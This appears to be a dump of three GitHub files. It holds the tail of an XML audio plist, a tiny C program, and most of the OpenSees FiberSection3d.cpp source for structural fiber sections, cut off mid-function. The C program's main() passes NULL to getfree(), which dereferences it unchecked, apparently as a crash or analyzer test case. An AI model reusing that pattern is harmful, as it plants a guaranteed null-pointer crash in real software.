<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<false/>
</dict>
<key>NodeID</key>
<integer>3</integer>
</dict>
</array>
</array>
</array>
</array>
<key>PathMapID</key>
<integer>11</integer>
</dict>
</array>
</dict>
</plist>
| {
"pile_set_name": "Github"
} |
#include "defines.h"
long getfree(
network_t *net
)
{
FREE( net->nodes );
FREE( net->arcs );
FREE( net->dummy_arcs );
net->nodes = net->stop_nodes = NULL;
net->arcs = net->stop_arcs = NULL;
net->dummy_arcs = net->stop_dummy = NULL;
return 0;
}
int main(){
getfree(NULL);
}
| {
"pile_set_name": "Github"
} |
/* ****************************************************************** **
** OpenSees - Open System for Earthquake Engineering Simulation **
** Pacific Earthquake Engineering Research Center **
** **
** **
** (C) Copyright 1999, The Regents of the University of California **
** All Rights Reserved. **
** **
** Commercial use of this program without express permission of the **
** University of California, Berkeley, is strictly prohibited. See **
** file 'COPYRIGHT' in main directory for information on usage and **
** redistribution, and for a DISCLAIMER OF ALL WARRANTIES. **
** **
** Developed by: **
** Frank McKenna ([email protected]) **
** Gregory L. Fenves ([email protected]) **
** Filip C. Filippou ([email protected]) **
** **
** ****************************************************************** */
// $Revision: 1.32 $
// $Date: 2010-08-16 05:05:07 $
// $Source: /usr/local/cvs/OpenSees/SRC/material/section/FiberSection3d.cpp,v $
// Written: fmk
// Created: 04/04
//
// Description: This file contains the class implementation of FiberSection3d.
#include <stdlib.h>
#include <math.h>
#include <Channel.h>
#include <Vector.h>
#include <Matrix.h>
#include <MatrixUtil.h>
#include <Fiber.h>
#include <classTags.h>
#include <FiberSection3d.h>
#include <ID.h>
#include <FEM_ObjectBroker.h>
#include <Information.h>
#include <MaterialResponse.h>
#include <UniaxialMaterial.h>
#include <ElasticMaterial.h>
#include <SectionIntegration.h>
#include <elementAPI.h>
#include <string.h>
ID FiberSection3d::code(4);
void* OPS_FiberSection3d()
{
int numData = OPS_GetNumRemainingInputArgs();
if(numData < 1) {
opserr<<"insufficient arguments for FiberSection3d\n";
return 0;
}
numData = 1;
int tag;
if (OPS_GetIntInput(&numData, &tag) < 0) return 0;
UniaxialMaterial *torsion = 0;
if (OPS_GetNumRemainingInputArgs() < 2) {
opserr << "WARNING torsion not specified for FiberSection\n";
opserr << "Use either -GJ $GJ or -torsion $matTag\n";
opserr << "\nFiberSection3d section: " << tag << endln;
return 0;
}
const char* opt = OPS_GetString();
numData = 1;
bool deleteTorsion = false;
if (strcmp(opt, "-GJ") == 0) {
double GJ;
if (OPS_GetDoubleInput(&numData, &GJ) < 0) {
opserr << "WARNING: failed to read GJ\n";
return 0;
}
torsion = new ElasticMaterial(0,GJ);
deleteTorsion = true;
}
if (strcmp(opt, "-torsion") == 0) {
int torsionTag;
if (OPS_GetIntInput(&numData, &torsionTag) < 0) {
opserr << "WARNING: failed to read torsion\n";
return 0;
}
torsion = OPS_getUniaxialMaterial(torsionTag);
}
if (torsion == 0) {
opserr << "WARNING torsion not specified for FiberSection\n";
opserr << "\nFiberSection3d section: " << tag << endln;
return 0;
}
int num = 30;
SectionForceDeformation *section = new FiberSection3d(tag, num, *torsion);
if (deleteTorsion)
delete torsion;
return section;
}
// constructors:
FiberSection3d::FiberSection3d(int tag, int num, Fiber **fibers, UniaxialMaterial &torsion):
SectionForceDeformation(tag, SEC_TAG_FiberSection3d),
numFibers(num), sizeFibers(num), theMaterials(0), matData(0),
QzBar(0.0), QyBar(0.0), Abar(0.0), yBar(0.0), zBar(0.0), sectionIntegr(0), e(4), s(0), ks(0), theTorsion(0)
{
if (numFibers != 0) {
theMaterials = new UniaxialMaterial *[numFibers];
if (theMaterials == 0) {
opserr << "FiberSection3d::FiberSection3d -- failed to allocate Material pointers\n";
exit(-1);
}
matData = new double [numFibers*3];
if (matData == 0) {
opserr << "FiberSection3d::FiberSection3d -- failed to allocate double array for material data\n";
exit(-1);
}
for (int i = 0; i < numFibers; i++) {
Fiber *theFiber = fibers[i];
double yLoc, zLoc, Area;
theFiber->getFiberLocation(yLoc, zLoc);
Area = theFiber->getArea();
QzBar += yLoc*Area;
QyBar += zLoc*Area;
Abar += Area;
matData[i*3] = yLoc;
matData[i*3+1] = zLoc;
matData[i*3+2] = Area;
UniaxialMaterial *theMat = theFiber->getMaterial();
theMaterials[i] = theMat->getCopy();
if (theMaterials[i] == 0) {
opserr << "FiberSection3d::FiberSection3d -- failed to get copy of a Material\n";
exit(-1);
}
}
yBar = QzBar/Abar;
zBar = QyBar/Abar;
}
theTorsion = torsion.getCopy();
if (theTorsion == 0)
opserr << "FiberSection3d::FiberSection3d -- failed to get copy of torsion material\n";
s = new Vector(sData, 4);
ks = new Matrix(kData, 4, 4);
sData[0] = 0.0;
sData[1] = 0.0;
sData[2] = 0.0;
sData[3] = 0.0;
for (int i=0; i<16; i++)
kData[i] = 0.0;
code(0) = SECTION_RESPONSE_P;
code(1) = SECTION_RESPONSE_MZ;
code(2) = SECTION_RESPONSE_MY;
code(3) = SECTION_RESPONSE_T;
}
FiberSection3d::FiberSection3d(int tag, int num, UniaxialMaterial &torsion):
SectionForceDeformation(tag, SEC_TAG_FiberSection3d),
numFibers(0), sizeFibers(num), theMaterials(0), matData(0),
QzBar(0.0), QyBar(0.0), Abar(0.0), yBar(0.0), zBar(0.0), sectionIntegr(0), e(4), s(0), ks(0), theTorsion(0)
{
if(sizeFibers != 0) {
theMaterials = new UniaxialMaterial *[sizeFibers];
if (theMaterials == 0) {
opserr << "FiberSection3d::FiberSection3d -- failed to allocate Material pointers\n";
exit(-1);
}
matData = new double [sizeFibers*3];
if (matData == 0) {
opserr << "FiberSection3d::FiberSection3d -- failed to allocate double array for material data\n";
exit(-1);
}
for (int i = 0; i < sizeFibers; i++) {
matData[i*3] = 0.0;
matData[i*3+1] = 0.0;
matData[i*3+2] = .0;
theMaterials[i] = 0;
}
}
theTorsion = torsion.getCopy();
if (theTorsion == 0)
opserr << "FiberSection3d::FiberSection3d -- failed to get copy of torsion material\n";
s = new Vector(sData, 4);
ks = new Matrix(kData, 4, 4);
sData[0] = 0.0;
sData[1] = 0.0;
sData[2] = 0.0;
sData[3] = 0.0;
for (int i=0; i<16; i++)
kData[i] = 0.0;
code(0) = SECTION_RESPONSE_P;
code(1) = SECTION_RESPONSE_MZ;
code(2) = SECTION_RESPONSE_MY;
code(3) = SECTION_RESPONSE_T;
}
FiberSection3d::FiberSection3d(int tag, int num, UniaxialMaterial **mats,
SectionIntegration &si, UniaxialMaterial &torsion):
SectionForceDeformation(tag, SEC_TAG_FiberSection3d),
numFibers(num), sizeFibers(num), theMaterials(0), matData(0),
QzBar(0.0), QyBar(0.0), Abar(0.0), yBar(0.0), zBar(0.0), sectionIntegr(0), e(4), s(0), ks(0), theTorsion(0)
{
if (numFibers != 0) {
theMaterials = new UniaxialMaterial *[numFibers];
if (theMaterials == 0) {
opserr << "FiberSection3d::FiberSection3d -- failed to allocate Material pointers";
exit(-1);
}
matData = new double [numFibers*3];
if (matData == 0) {
opserr << "FiberSection3d::FiberSection3d -- failed to allocate double array for material data\n";
exit(-1);
}
}
sectionIntegr = si.getCopy();
if (sectionIntegr == 0) {
opserr << "Error: FiberSection3d::FiberSection3d: could not create copy of section integration object" << endln;
exit(-1);
}
static double yLocs[10000];
static double zLocs[10000];
sectionIntegr->getFiberLocations(numFibers, yLocs, zLocs);
static double fiberArea[10000];
sectionIntegr->getFiberWeights(numFibers, fiberArea);
for (int i = 0; i < numFibers; i++) {
Abar += fiberArea[i];
QzBar += yLocs[i]*fiberArea[i];
QyBar += zLocs[i]*fiberArea[i];
theMaterials[i] = mats[i]->getCopy();
if (theMaterials[i] == 0) {
opserr << "FiberSection3d::FiberSection3d -- failed to get copy of a Material\n";
exit(-1);
}
}
yBar = QzBar/Abar;
zBar = QyBar/Abar;
theTorsion = torsion.getCopy();
if (theTorsion == 0)
opserr << "FiberSection3d::FiberSection3d -- failed to get copy of torsion material\n";
s = new Vector(sData, 4);
ks = new Matrix(kData, 4, 4);
for (int i = 0; i < 4; i++)
sData[i] = 0.0;
for (int i = 0; i < 16; i++)
kData[i] = 0.0;
code(0) = SECTION_RESPONSE_P;
code(1) = SECTION_RESPONSE_MZ;
code(2) = SECTION_RESPONSE_MY;
code(3) = SECTION_RESPONSE_T;
}
// constructor for blank object that recvSelf needs to be invoked upon
FiberSection3d::FiberSection3d():
SectionForceDeformation(0, SEC_TAG_FiberSection3d),
numFibers(0), sizeFibers(0), theMaterials(0), matData(0),
QzBar(0.0), QyBar(0.0), Abar(0.0), yBar(0.0), zBar(0.0), sectionIntegr(0), e(4), s(0), ks(0), theTorsion(0)
{
s = new Vector(sData, 4);
ks = new Matrix(kData, 4, 4);
sData[0] = 0.0;
sData[1] = 0.0;
sData[2] = 0.0;
sData[3] = 0.0;
for (int i=0; i<16; i++)
kData[i] = 0.0;
code(0) = SECTION_RESPONSE_P;
code(1) = SECTION_RESPONSE_MZ;
code(2) = SECTION_RESPONSE_MY;
code(3) = SECTION_RESPONSE_T;
}
int
FiberSection3d::addFiber(Fiber &newFiber)
{
// need to create a larger array
if(numFibers == sizeFibers) {
int newSize = 2*sizeFibers;
UniaxialMaterial **newArray = new UniaxialMaterial *[newSize];
double *newMatData = new double [3 * newSize];
if (newArray == 0 || newMatData == 0) {
opserr << "FiberSection3d::addFiber -- failed to allocate Fiber pointers\n";
exit(-1);
}
// copy the old pointers
for (int i = 0; i < numFibers; i++) {
newArray[i] = theMaterials[i];
newMatData[3*i] = matData[3*i];
newMatData[3*i+1] = matData[3*i+1];
newMatData[3*i+2] = matData[3*i+2];
}
// initialize new memomry
for (int i = numFibers; i < newSize; i++) {
newArray[i] = 0;
newMatData[3*i] = 0.0;
newMatData[3*i+1] = 0.0;
newMatData[3*i+2] = 0.0;
}
sizeFibers = newSize;
// set new memory
if (theMaterials != 0) {
delete [] theMaterials;
delete [] matData;
}
theMaterials = newArray;
matData = newMatData;
}
// set the new pointers
double yLoc, zLoc, Area;
newFiber.getFiberLocation(yLoc, zLoc);
Area = newFiber.getArea();
matData[numFibers*3] = yLoc;
matData[numFibers*3+1] = zLoc;
matData[numFibers*3+2] = Area;
UniaxialMaterial *theMat = newFiber.getMaterial();
theMaterials[numFibers] = theMat->getCopy();
if (theMaterials[numFibers] == 0) {
opserr << "FiberSection3d::addFiber -- failed to get copy of a Material\n";
return -1;
}
numFibers++;
// Recompute centroid
Abar += Area;
QzBar += yLoc*Area;
QyBar += zLoc*Area;
yBar = QzBar/Abar;
zBar = QyBar/Abar;
return 0;
}
// destructor:
FiberSection3d::~FiberSection3d()
{
if (theMaterials != 0) {
for (int i = 0; i < numFibers; i++)
if (theMaterials[i] != 0)
delete theMaterials[i];
delete [] theMaterials;
}
if (matData != 0)
delete [] matData;
if (s != 0)
delete s;
if (ks != 0)
delete ks;
if (sectionIntegr != 0)
delete sectionIntegr;
if (theTorsion != 0)
delete theTorsion;
}
int
FiberSection3d::setTrialSectionDeformation (const Vector &deforms)
{
int res = 0;
e = deforms;
for (int i = 0; i < 4; i++)
sData[i] = 0.0;
for (int i = 0; i < 16; i++)
kData[i] = 0.0;
double d0 = deforms(0);
double d1 = deforms(1);
double d2 = deforms(2);
double d3 = deforms(3);
static double yLocs[10000];
static double zLocs[10000];
static double fiberArea[10000];
if (sectionIntegr != 0) {
sectionIntegr->getFiberLocations(numFibers, yLocs, zLocs);
sectionIntegr->getFiberWeights(numFibers, fiberArea);
}
else {
for (int i = 0; i < numFibers; i++) {
yLocs[i] = matData[3*i];
zLocs[i] = matData[3*i+1];
fiberArea[i] = matData[3*i+2];
}
}
double tangent, stress;
for (int i = 0; i < numFibers; i++) {
UniaxialMaterial *theMat = theMaterials[i];
double y = yLocs[i] - yBar;
double z = zLocs[i] - zBar;
double A = fiberArea[i];
// determine material strain and set it
double strain = d0 - y*d1 + z*d2;
res += theMat->setTrial(strain, stress, tangent);
double value = tangent * A;
double vas1 = -y*value;
double vas2 = z*value;
double vas1as2 = vas1*z;
kData[0] += value;
kData[1] += vas1;
kData[2] += vas2;
kData[5] += vas1 * -y;
kData[6] += vas1as2;
kData[10] += vas2 * z;
double fs0 = stress * A;
sData[0] += fs0;
sData[1] += fs0 * -y;
sData[2] += fs0 * z;
}
kData[4] = kData[1];
kData[8] = kData[2];
kData[9] = kData[6];
if (theTorsion != 0) {
res += theTorsion->setTrial(d3, stress, tangent);
sData[3] = stress;
kData[15] = tangent;
}
return res;
}
const Matrix&
FiberSection3d::getInitialTangent(void)
{
static double kInitialData[16];
static Matrix kInitial(kInitialData, 4, 4);
kInitial.Zero();
static double yLocs[10000];
static double zLocs[10000];
static double fiberArea[10000];
if (sectionIntegr != 0) {
sectionIntegr->getFiberLocations(numFibers, yLocs, zLocs);
sectionIntegr->getFiberWeights(numFibers, fiberArea);
}
else {
for (int i = 0; i < numFibers; i++) {
yLocs[i] = matData[3*i];
zLocs[i] = matData[3*i+1];
fiberArea[i] = matData[3*i+2];
}
}
for (int i = 0; i < numFibers; i++) {
UniaxialMaterial *theMat = theMaterials[i];
double y = yLocs[i] - yBar;
double z = zLocs[i] - zBar;
double A = fiberArea[i];
double tangent = theMat->getInitialTangent();
double value = tangent * A;
double vas1 = -y*value;
double vas2 = z*value;
double vas1as2 = vas1*z;
kInitialData[0] += value;
kInitialData[1] += vas1;
kInitialData[2] += vas2;
kInitialData[5] += vas1 * -y;
kInitialData[6] += vas1as2;
kInitialData[10] += vas2 * z;
}
kInitialData[4] = kInitialData[1];
kInitialData[8] = kInitialData[2];
kInitialData[9] = kInitialData[6];
if (theTorsion != 0)
kInitialData[15] = theTorsion->getInitialTangent();
return kInitial;
}
const Vector&
FiberSection3d::getSectionDeformation(void)
{
return e;
}
const Matrix&
FiberSection3d::getSectionTangent(void)
{
return *ks;
}
const Vector&
FiberSection3d::getStressResultant(void)
{
return *s;
}
SectionForceDeformation*
FiberSection3d::getCopy(void)
{
FiberSection3d *theCopy = new FiberSection3d ();
theCopy->setTag(this->getTag());
theCopy->numFibers = numFibers;
theCopy->sizeFibers = numFibers;
if (numFibers != 0) {
theCopy->theMaterials = new UniaxialMaterial *[numFibers];
if (theCopy->theMaterials == 0) {
opserr << "FiberSection3d::FiberSection3d -- failed to allocate Material pointers\n";
exit(-1);
}
theCopy->matData = new double [numFibers*3];
if (theCopy->matData == 0) {
opserr << "FiberSection3d::FiberSection3d -- failed to allocate double array for material data\n";
exit(-1);
}
for (int i = 0; i < numFibers; i++) {
theCopy->matData[i*3] = matData[i*3];
theCopy->matData[i*3+1] = matData[i*3+1];
theCopy->matData[i*3+2] = matData[i*3+2];
theCopy->theMaterials[i] = theMaterials[i]->getCopy();
if (theCopy->theMaterials[i] == 0) {
opserr << "FiberSection3d::getCopy -- failed to get copy of a Material\n";
exit(-1);
}
}
}
theCopy->e = e;
theCopy->QzBar = QzBar;
theCopy->QyBar = QyBar;
theCopy->Abar = Abar;
theCopy->yBar = yBar;
theCopy->zBar = zBar;
for (int i=0; i<16; i++)
theCopy->kData[i] = kData[i];
theCopy->sData[0] = sData[0];
theCopy->sData[1] = sData[1];
theCopy->sData[2] = sData[2];
theCopy->sData[3] = sData[3];
if (theTorsion != 0)
theCopy->theTorsion = theTorsion->getCopy();
else
theCopy->theTorsion = 0;
if (sectionIntegr != 0)
theCopy->sectionIntegr = sectionIntegr->getCopy();
else
theCopy->sectionIntegr = 0;
return theCopy;
}
const ID&
FiberSection3d::getType ()
{
return code;
}
int
FiberSection3d::getOrder () const
{
return 4;
}
int
FiberSection3d::commitState(void)
{
int err = 0;
for (int i = 0; i < numFibers; i++)
err += theMaterials[i]->commitState();
if (theTorsion != 0)
err += theTorsion->commitState();
return err;
}
int
FiberSection3d::revertToLastCommit(void)
{
int err = 0;
kData[0] = 0.0; kData[1] = 0.0; kData[2] = 0.0; kData[3] = 0.0;
kData[4] = 0.0; kData[5] = 0.0; kData[6] = 0.0; kData[7] = 0.0;
kData[8] = 0.0;
kData[15] = 0.0;
sData[0] = 0.0; sData[1] = 0.0; sData[2] = 0.0; sData[3] = 0.0;
static double yLocs[10000];
static double zLocs[10000];
static double fiberArea[10000];
if (sectionIntegr != 0) {
sectionIntegr->getFiberLocations(numFibers, yLocs, zLocs);
sectionIntegr->getFiberWeights(numFibers, fiberArea);
}
else {
for (int i = 0; i < numFibers; i++) {
yLocs[i] = matData[3*i];
zLocs[i] = matData[3*i+1];
fiberArea[i] = matData[3*i+2];
}
}
for (int i = 0; i < numFibers; i++) {
UniaxialMaterial *theMat = theMaterials[i];
double y = yLocs[i] - yBar;
double z = zLocs[i] - zBar;
double A = fiberArea[i];
// invoke revertToLast on the material
err += theMat->revertToLastCommit();
double tangent = theMat->getTangent();
double stress = theMat->getStress();
double value = tangent * A;
double vas1 = -y*value;
double vas2 = z*value;
double vas1as2 = vas1*z;
kData[0] += value;
kData[1] += vas1;
kData[2] += vas2;
kData[5] += vas1 * -y;
kData[6] += vas1as2;
kData[10] += vas2 * z;
double fs0 = stress * A;
sData[0] += fs0;
sData[1] += fs0 * -y;
sData[2] += fs0 * z;
}
kData[4] = kData[1];
kData[8] = kData[2];
kData[9] = kData[6];
if (theTorsion != 0) {
err += theTorsion->revertToLastCommit();
kData[15] = theTorsion->getTangent();
} else
kData[15] = 0.0;
return err;
}
int
FiberSection3d::revertToStart(void)
{
// revert the fibers to start
int err = 0;
kData[0] = 0.0; kData[1] = 0.0; kData[2] = 0.0; kData[3] = 0.0;
kData[4] = 0.0; kData[5] = 0.0; kData[6] = 0.0; kData[7] = 0.0;
kData[8] = 0.0;
kData[15] = 0.0;
sData[0] = 0.0; sData[1] = 0.0; sData[2] = 0.0; sData[3] = 0.0;
static double yLocs[10000];
static double zLocs[10000];
static double fiberArea[10000];
if (sectionIntegr != 0) {
sectionIntegr->getFiberLocations(numFibers, yLocs, zLocs);
sectionIntegr->getFiberWeights(numFibers, fiberArea);
}
else {
for (int i = 0; i < numFibers; i++) {
yLocs[i] = matData[3*i];
zLocs[i] = matData[3*i+1];
fiberArea[i] = matData[3*i+2];
}
}
for (int i = 0; i < numFibers; i++) {
UniaxialMaterial *theMat = theMaterials[i];
double y = yLocs[i] - yBar;
double z = zLocs[i] - zBar;
double A = fiberArea[i];
// invoke revertToStart on the material
err += theMat->revertToStart();
double tangent = theMat->getTangent();
double stress = theMat->getStress();
double value = tangent * A;
double vas1 = -y*value;
double vas2 = z*value;
double vas1as2 = vas1*z;
kData[0] += value;
kData[1] += vas1;
kData[2] += vas2;
kData[5] += vas1 * -y;
kData[6] += vas1as2;
kData[10] += vas2 * z;
double fs0 = stress * A;
sData[0] += fs0;
sData[1] += fs0 * -y;
sData[2] += fs0 * z;
}
kData[4] = kData[1];
kData[8] = kData[2];
kData[9] = kData[6];
if (theTorsion != 0) {
err += theTorsion->revertToStart();
kData[15] = theTorsion->getTangent();
sData[3] = theTorsion->getStress();
} else {
kData[15] = 0.0;
sData[3] = 0.0;
}
return err;
}
int
FiberSection3d::sendSelf(int commitTag, Channel &theChannel)
{
int res = 0;
// create an id to send objects tag and numFibers,
// size 5 so no conflict with matData below if just 2 fibers
static ID data(5);
data(0) = this->getTag();
data(1) = numFibers;
data(2) = (theTorsion != 0) ? 1 : 0;
int dbTag = this->getDbTag();
if (theTorsion != 0) {
theTorsion->setDbTag(dbTag);
data(3) = theTorsion->getClassTag();
}
res += theChannel.sendID(dbTag, commitTag, data);
if (res < 0) {
opserr << "FiberSection3d::sendSelf - failed to send ID data\n";
return res;
}
if (theTorsion != 0)
theTorsion->sendSelf(commitTag, theChannel);
if (numFibers != 0) {
// create an id containingg classTag and dbTag for each material & send it
ID materialData(2*numFibers);
for (int i=0; i<numFibers; i++) {
UniaxialMaterial *theMat = theMaterials[i];
materialData(2*i) = theMat->getClassTag();
int matDbTag = theMat->getDbTag();
if (matDbTag == 0) {
matDbTag = theChannel.getDbTag();
if (matDbTag != 0)
theMat->setDbTag(matDbTag);
}
materialData(2*i+1) = matDbTag;
}
res += theChannel.sendID(dbTag, commitTag, materialData);
if (res < 0) {
opserr << "FiberSection3d::sendSelf - failed to send material data\n";
return res;
}
// send the fiber data, i.e. area and loc
Vector fiberData(matData, 3*numFibers);
res += theChannel.sendVector(dbTag, commitTag, fiberData);
if (res < 0) {
opserr << "FiberSection3d::sendSelf - failed to send fiber data\n";
return res;
}
// now invoke send(0 on all the materials
for (int j=0; j<numFibers; j++)
theMaterials[j]->sendSelf(commitTag, theChannel);
}
return res;
}
int
FiberSection3d::recvSelf(int commitTag, Channel &theChannel,
FEM_ObjectBroker &theBroker)
{
int res = 0;
static ID data(5);
int dbTag = this->getDbTag();
res += theChannel.recvID(dbTag, commitTag, data);
if (res < 0) {
opserr << "FiberSection3d::recvSelf - failed to recv ID data\n";
return res;
}
this->setTag(data(0));
if (data(2) == 1 && theTorsion == 0) {
int cTag = data(3);
theTorsion = theBroker.getNewUniaxialMaterial(cTag);
if (theTorsion == 0) {
opserr << "FiberSection3d::recvSelf - failed to get torsion material \n";
return -1;
}
theTorsion->setDbTag(dbTag);
}
if (theTorsion->recvSelf(commitTag, theChannel, theBroker) < 0) {
opserr << "FiberSection3d::recvSelf - torsion failed to recvSelf \n";
return -2;
}
// recv data about materials objects, classTag and dbTag
if (data(1) != 0) {
ID materialData(2*data(1));
res += theChannel.recvID(dbTag, commitTag, materialData);
if (res < 0) {
opserr << "FiberSection3d::recvSelf - failed to recv material data\n";
return res;
}
// if current arrays not of correct size, release old and resize
if (theMaterials == 0 || numFibers != data(1)) {
// delete old stuff if outa date
if (theMaterials != 0) {
for (int i=0; i<numFibers; i++)
delete theMaterials[i];
delete [] theMaterials;
if (matData != 0)
delete [] matData;
matData = 0;
theMaterials = 0;
}
// create memory to hold material pointers and fiber data
numFibers = data(1);
sizeFibers = data(1);
if (numFibers != 0) {
theMaterials = new UniaxialMaterial *[numFibers];
if (theMaterials == 0) {
opserr << "FiberSection3d::recvSelf -- failed to allocate Material pointers\n";
exit(-1);
}
for (int j=0; j<numFibers; j++)
theMaterials[j] = 0;
matData = new double [numFibers*3];
if (matData == 0) {
opserr << "FiberSection3d::recvSelf -- failed to allocate double array for material data\n";
exit(-1);
}
}
}
Vector fiberData(matData, 3*numFibers);
res += theChannel.recvVector(dbTag, commitTag, fiberData);
if (res < 0) {
opserr << "FiberSection3d::recvSelf - failed to recv fiber data\n";
return res;
}
int i;
for (i=0; i<numFibers; i++) {
int classTag = materialData(2*i);
int dbTag = materialData(2*i+1);
// if material pointed to is blank or not of corrcet type,
// release old and create a new one
if (theMaterials[i] == 0)
theMaterials[i] = theBroker.getNewUniaxialMaterial(classTag);
else if (theMaterials[i]->getClassTag() != classTag) {
delete theMaterials[i];
theMaterials[i] = theBroker.getNewUniaxialMaterial(classTag);
}
if (theMaterials[i] == 0) {
opserr << "FiberSection3d::recvSelf -- failed to allocate double array for material data\n";
exit(-1);
}
theMaterials[i]->setDbTag(dbTag);
res += theMaterials[i]->recvSelf(commitTag, theChannel, theBroker);
}
QzBar = 0.0;
QyBar = 0.0;
Abar = 0.0;
double yLoc, zLoc, Area;
// Recompute centroid
for (i = 0; i < numFibers; i++) {
yLoc = matData[3*i];
zLoc = matData[3*i+1];
Area = matData[3*i+2];
Abar += Area;
QzBar += yLoc*Area;
QyBar += zLoc*Area;
}
yBar = QzBar/Abar;
zBar = QyBar/Abar;
}
return res;
}
void
FiberSection3d::Print(OPS_Stream &s, int flag)
{
if (flag == OPS_PRINT_PRINTMODEL_SECTION || flag == OPS_PRINT_PRINTMODEL_MATERIAL) {
s << "\nFiberSection3d, tag: " << this->getTag() << endln;
s << "\tSection code: " << code;
s << "\tNumber of Fibers: " << numFibers << endln;
s << "\tCentroid: (" << -yBar << ", " << zBar << ')' << endln;
if (theTorsion != 0)
theTorsion->Print(s, flag);
if (flag == OPS_PRINT_PRINTMODEL_MATERIAL) {
for (int i = 0; i < numFibers; i++) {
s << "\nLocation (y, z) = (" << matData[3*i] << ", " << matData[3*i+1] << ")";
s << "\nArea = " << matData[3*i+2] << endln;
theMaterials[i]->Print(s, flag);
}
}
}
if (flag == 3) {
for (int i = 0; i < numFibers; i++) {
s << theMaterials[i]->getTag() << " " << matData[3*i] << " " << matData[3*i+1] << " " << matData[3*i+2] << " " ;
s << theMaterials[i]->getStress() << " " << theMaterials[i]->getStrain() << endln;
}
}
if (flag == 4) {
for (int i = 0; i < numFibers; i++) {
s << "add fiber # " << i+1 << " using material # " << theMaterials[i]->getTag() << " to section # 1\n";
s << "fiber_cross_section = " << matData[3*i+2] << "*m^2\n";
s << "fiber_location = (" << matData[3*i] << "*m, " << matData[3*i+1] << "*m);\n\n";
}
}
if (flag == OPS_PRINT_PRINTMODEL_JSON) {
s << "\t\t\t{";
s << "\"name\": \"" << this->getTag() << "\", ";
s << "\"type\": \"FiberSection3d\", ";
if (theTorsion != 0)
s << "\"torsion\": " << theTorsion->getInitialTangent() << ", ";
s << "\"fibers\": [\n";
for (int i = 0; i < numFibers; i++) {
s << "\t\t\t\t{\"coord\": [" << matData[3*i] << ", " << matData[3*i+1] << "], ";
s << "\"area\": " << matData[3*i+2] << ", ";
s << "\"material\": \"" << theMaterials[i]->getTag() << "\"";
if (i < numFibers - 1)
s << "},\n";
else
s << "}\n";
}
s << "\t\t\t]}";
}
}
Response*
FiberSection3d::setResponse(const char **argv, int argc, OPS_Stream &output)
{
const ID &type = this->getType();
int typeSize = this->getOrder();
Response *theResponse =0;
output.tag("SectionOutput");
output.attr("secType", this->getClassType());
output.attr("secTag", this->getTag());
// deformations
if (strcmp(argv[0],"deformations") == 0 || strcmp(argv[0],"deformation") == 0) {
for (int i=0; i<typeSize; i++) {
int code = type(i);
switch (code){
case SECTION_RESPONSE_MZ:
output.tag("ResponseType","kappaZ");
break;
case SECTION_RESPONSE_P:
output.tag("ResponseType","eps");
break;
case SECTION_RESPONSE_VY:
output.tag("ResponseType","gammaY");
break;
case SECTION_RESPONSE_MY:
output.tag("ResponseType","kappaY");
break;
case SECTION_RESPONSE_VZ:
output.tag("ResponseType","gammaZ");
break;
case SECTION_RESPONSE_T:
output.tag("ResponseType","theta");
break;
default:
output.tag("ResponseType","Unknown");
}
}
theResponse = new MaterialResponse(this, 1, this->getSectionDeformation());
// forces
} else if (strcmp(argv[0],"forces") == 0 || strcmp(argv[0],"force") == 0) {
for (int i=0; i<typeSize; i++) {
int code = type(i);
switch (code){
case SECTION_RESPONSE_MZ:
output.tag("ResponseType","Mz");
break;
case SECTION_RESPONSE_P:
output.tag("ResponseType","P");
break;
case SECTION_RESPONSE_VY:
output.tag("ResponseType","Vy");
break;
case SECTION_RESPONSE_MY:
output.tag("ResponseType","My");
break;
case SECTION_RESPONSE_VZ:
output.tag("ResponseType","Vz");
break;
case SECTION_RESPONSE_T:
output.tag("ResponseType","T");
break;
default:
output.tag("ResponseType","Unknown");
}
}
theResponse = new MaterialResponse(this, 2, this->getStressResultant());
// force and deformation
} else if (strcmp(argv[0],"forceAndDeformation") == 0) {
for (int i=0; i<typeSize; i++) {
int code = type(i);
switch (code){
case SECTION_RESPONSE_MZ:
output.tag("ResponseType","kappaZ");
break;
case SECTION_RESPONSE_P:
output.tag("ResponseType","eps");
break;
case SECTION_RESPONSE_VY:
output.tag("ResponseType","gammaY");
break;
case SECTION_RESPONSE_MY:
output.tag("ResponseType","kappaY");
break;
case SECTION_RESPONSE_VZ:
output.tag("ResponseType","gammaZ");
break;
case SECTION_RESPONSE_T:
output.tag("ResponseType","theta");
break;
default:
output.tag("ResponseType","Unknown");
}
}
for (int j=0; j<typeSize; j++) {
int code = type(j);
switch (code){
case SECTION_RESPONSE_MZ:
output.tag("ResponseType","Mz");
break;
case SECTION_RESPONSE_P:
output.tag("ResponseType","P");
break;
case SECTION_RESPONSE_VY:
output.tag("ResponseType","Vy");
break;
case SECTION_RESPONSE_MY:
output.tag("ResponseType","My");
break;
case SECTION_RESPONSE_VZ:
output.tag("ResponseType","Vz");
break;
case SECTION_RESPONSE_T:
output.tag("ResponseType","T");
break;
default:
output.tag("ResponseType","Unknown");
}
}
theResponse = new MaterialResponse(this, 4, Vector(2*this->getOrder()));
} else if (strcmp(argv[0],"fiberData") == 0) {
int numData = numFibers*5;
for (int j = 0; j < numFibers; j++) {
output.tag("FiberOutput");
output.attr("yLoc", matData[3*j]);
output.attr("zLoc", matData[3*j+1]);
output.attr("area", matData[3*j+2]);
output.tag("ResponseType","yCoord");
output.tag("ResponseType","zCoord");
output.tag("ResponseType","area");
output.tag("ResponseType","stress");
output.tag("ResponseType","strain");
output.endTag();
}
Vector theResponseData(numData);
theResponse = new MaterialResponse(this, 5, theResponseData);
} else if ((strcmp(argv[0],"numFailedFiber") == 0) ||
(strcmp(argv[0],"numFiberFailed") == 0)) {
int count = 0;
theResponse = new MaterialResponse(this, 6, count);
} else if ((strcmp(argv[0],"sectionFailed") == 0) ||
(strcmp(argv[0],"hasSectionFailed") == 0) ||
(strcmp(argv[0],"hasFailed") == 0)) {
int count = 0;
return theResponse = new MaterialResponse(this, 7, count);
}
//by SAJalali
else if ((strcmp(argv[0], "energy") == 0) || (strcmp(argv[0], "Energy") == 0)) {
return theResponse = new MaterialResponse(this, 10, getEnergy());
}
else {
if (argc > 2 || strcmp(argv[0],"fiber") == 0) {
int key = numFibers;
int passarg = 2;
if (argc <= 3) { // fiber number was input directly
key = atoi(argv[1]);
} else if (argc > 4) { // find fiber closest to coord. with mat tag
int matTag = atoi(argv[3]);
double yCoord = atof(argv[1]);
double zCoord = atof(argv[2]);
double closestDist = 0.0;
double ySearch, zSearch, dy, dz;
double distance;
int j;
// Find first fiber with specified material tag
for (j = 0; j < numFibers; j++) {
if (matTag == theMaterials[j]->getTag()) {
ySearch = matData[3*j];
